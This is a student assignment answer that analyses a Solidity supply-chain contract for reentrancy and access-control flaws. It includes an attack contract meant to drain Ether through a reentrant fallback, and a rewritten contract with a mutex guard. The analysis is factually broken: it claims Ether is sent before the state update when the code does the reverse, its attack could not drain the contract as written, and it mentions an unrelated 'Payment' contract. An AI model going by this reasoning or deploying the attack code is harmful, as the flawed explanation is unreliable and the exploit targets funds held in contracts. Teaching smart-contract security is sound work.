CA-3

Submitted by:

C. Sai Sumanth

12206535

32

Q.2 The following contract tracks ownership of items in a supply chain. Identify and explain the security vulnerabilities in this contract. Rewrite the vulnerable function(s) to enhance its security, particularly against reentrancy and unauthorized access.

```
pragma solidity ^0.8.0;
contract SupplyChain {
    struct Item {
        uint id;
        address owner;
    }

    mapping(uint => Item) public items;

    function transferItem(uint itemId, address newOwner) public {
        require(items[itemId].owner == msg.sender, "Not the owner");
        items[itemId].owner = newOwner;
        (bool sent, ) = newOwner.call{value: msg.value}("");
        require(sent, "Transfer failed");
    }
}
```

Answer:

1. Introduction

The original SupplyChain contract is a simple implementation for tracking the ownership of items within a supply chain.

Key Features of the Original Contract

1. **Item Struct**:
    - Represents an item with an id and its current owner.
2. **Mapping**:
    - Uses a mapping to store Item details, with the itemId as the key.
3. **transferItem Function**:
    - Facilitates ownership transfer by allowing the current owner of an item to assign ownership to a newOwner.
    - Transfers Ether (msg.value) to the new owner during the process.

2. Code Explanation

We will start by explaining the components of the `Payment` contract.

```
pragma solidity ^0.8.0;

contract SupplyChain {
    struct Item {
        uint id;
        address owner;
    }
    mapping(uint => Item) public items;
    function transferItem(uint itemId, address newOwner) public {
        require(items[itemId].owner == msg.sender, "Not the owner");
        items[itemId].owner = newOwner;
```

```
        (bool sent, ) = newOwner.call{value: msg.value}("");
        require(sent, "Transfer failed");
    }
}
```

1 Item Struct:

- Encapsulates two properties:
    - id: Unique identifier for the item.
    - owner: The address of the item's current owner.

2 mapping(uint => Item) public items:

- A mapping that stores items indexed by their unique itemId.
- Declared public, allowing external parties to view item details.

3 transferItem Function:

- Allows the current owner of an item (msg.sender) to transfer ownership to a new owner.
- Validates that the caller is the current owner using the require statement.
- Updates the owner of the item in the items mapping.
- Sends Ether (msg.value) to the newOwner using call.

3. Identifying the Vulnerability:

1. Reentrancy Vulnerability

The function transfers Ether using call before updating the contract's state. This allows a malicious contract to exploit the reentrancy vulnerability by triggering a recursive call to transferItem.

2. Unauthorized Access

While the require statement ensures only the current owner can transfer an item, there is no validation of the newOwner address. A malicious actor could pass a smart contract address with a fallback function, enabling recursive calls or other exploits.

3. Lack of Reentrancy Guard

The contract lacks a mechanism to prevent multiple simultaneous calls to the transferItem function, leaving it vulnerable to reentrancy attacks.

Example of the Attack Scenario

Attack Code

The following attack contract demonstrates how the reentrancy vulnerability can be exploited:

```
pragma solidity ^0.8.0;
import "./SupplyChain.sol"; // Import the vulnerable contract
contract Attack {
    SupplyChain public supplyChain;
    uint public targetItemId;
    constructor(address supplyChainAddress, uint itemId) {
        supplyChain = SupplyChain(supplyChainAddress);
        targetItemId = itemId;
    }
    // Fallback function to trigger reentrancy
    fallback() external payable {
        if (address(supplyChain).balance >= 1 ether) {
            supplyChain.transferItem(targetItemId, address(this));
        }
    }
    // Attack function
    function startAttack() public payable {
        require(msg.value >= 1 ether, "Send at least 1 ether");
        supplyChain.transferItem{value: msg.value}(targetItemId, address(this));
    }
    // Withdraw stolen funds
    function withdraw() public {
        payable(msg.sender).transfer(address(this).balance);
    }
    receive() external payable {}
}
```

Attack Process

1. Deploy the SupplyChain contract and register items with their owners.
2. Deploy the Attack contract, passing the address of the SupplyChain contract and the itemId to target.
3. Call the startAttack function of the Attack contract.
4. The fallback function is triggered during Ether transfer, recursively calling transferItem to drain Ether or repeatedly assign ownership to the attacker.

4. Solution to the Vulnerability: Fixing the Code

Rewritten Secure Contract

The rewritten contract incorporates security measures to mitigate the identified vulnerabilities:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SupplyChain {
    struct Item {
        uint id;
        address owner;
    }
    mapping(uint => Item) public items;
    bool private locked;
    // Reentrancy guard modifier
    modifier noReentrant() {
        require(!locked, "Reentrancy detected");
        locked = true;
        _;
        locked = false;
    }
```

```
    // Validate input address
    modifier validAddress(address addr) {
        require(addr != address(0), "Invalid address");
        require(addr != address(this), "Cannot transfer to contract itself");
        _;
    }
    // Ownership check modifier
    modifier onlyOwner(uint itemId) {
        require(items[itemId].owner == msg.sender, "Not the owner");
        _;
    }
    function transferItem(uint itemId, address newOwner)
        public
        payable
        noReentrant
        validAddress(newOwner)
        onlyOwner(itemId)
    {
        // Update the item's owner first
        items[itemId].owner = newOwner;
        // Then safely transfer Ether
        (bool sent, ) = newOwner.call{value: msg.value}("");
        require(sent, "Transfer failed");
    }
}
```

Explanation of the Fix:

Improvements in the Rewritten Contract

1. **Reentrancy Guard**
    - The noReentrant modifier prevents recursive calls by introducing a mutex.

2. **Input Validation**
    - Ensures the newOwner is a valid address and not the contract itself.
3. **Ownership Check**
    - Uses a dedicated modifier to enforce access control for the function.
4. **State Update Before External Calls**
    - Updates the ownership in the contract before transferring Ether, preventing manipulation via reentrancy.
5. **Code Modularity**
    - Separates validation checks into reusable modifiers, improving readability and maintainability.

5. Conclusion

The original SupplyChain contract demonstrates the importance of proper security measures in smart contract design. By failing to implement safeguards against reentrancy and unauthorized access, it exposes critical vulnerabilities that attackers can exploit.